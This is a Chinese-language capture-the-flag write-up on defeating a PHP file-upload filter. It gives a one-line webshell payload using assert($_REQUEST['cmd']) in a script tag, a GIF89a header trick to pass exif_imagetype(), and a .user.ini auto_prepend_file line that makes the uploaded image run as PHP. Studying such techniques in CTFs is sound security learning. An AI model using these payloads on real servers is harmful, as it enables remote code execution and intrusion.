大佬的wp
首先上傳包含一句話的php文件,提示illegal suffix!,試了一下.php3,.php5,.phtml等都不行
把文件后綴名改成.jpg試一下,檢測到了內容 <?
那就用其他姿勢
<script language='php'>assert($_REQUEST['cmd'])</script>
檢測到文件不是圖像,很明顯是用exif_imagetype()函數,函數功能是讀取一個圖像的第一個字節並檢查其簽名。 在一句話前面加個GIF89a進行繞過
那么現在的一句話如下,可以制作成圖片馬,但是需要解析成php
GIF89a <script language='php'>assert($_REQUEST['cmd'])</script
正常想到的是.htaccess,但是這個服務器是nginx,而.htaccess是針對apache的
那么這里利用是 .user.ini ,而且.user,ini利用的范圍比.htaccess更廣,具體參考這里
不管是nginx/apache/IIS,只要是以fastcgi運行的php都可以用這個方法
php.ini是php默認的配置文件,其中包括了很多php的配置,這些配置中,又分為幾種:
PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
.user.ini實際上就是一個可以由用戶“自定義”的php.ini,我們能夠自定義的設置是模式為“PHP_INI_PERDIR 、 PHP_INI_USER”的設置
同時在php配置項中有兩個比較有意思的項
auto_prepend_file和auto_append_file
相當於指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數
auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入
那么思路就有了
上傳圖片馬,然后利用.user.ini解析圖片馬生成webshell
生成圖片馬
然后需要利用.user.ini解析圖片馬
GIF89a
auto_prepend_file=shell.jpg
上傳.user.ini和圖片馬
然后根據上傳的路徑,找到上傳的Webshell,獲取flag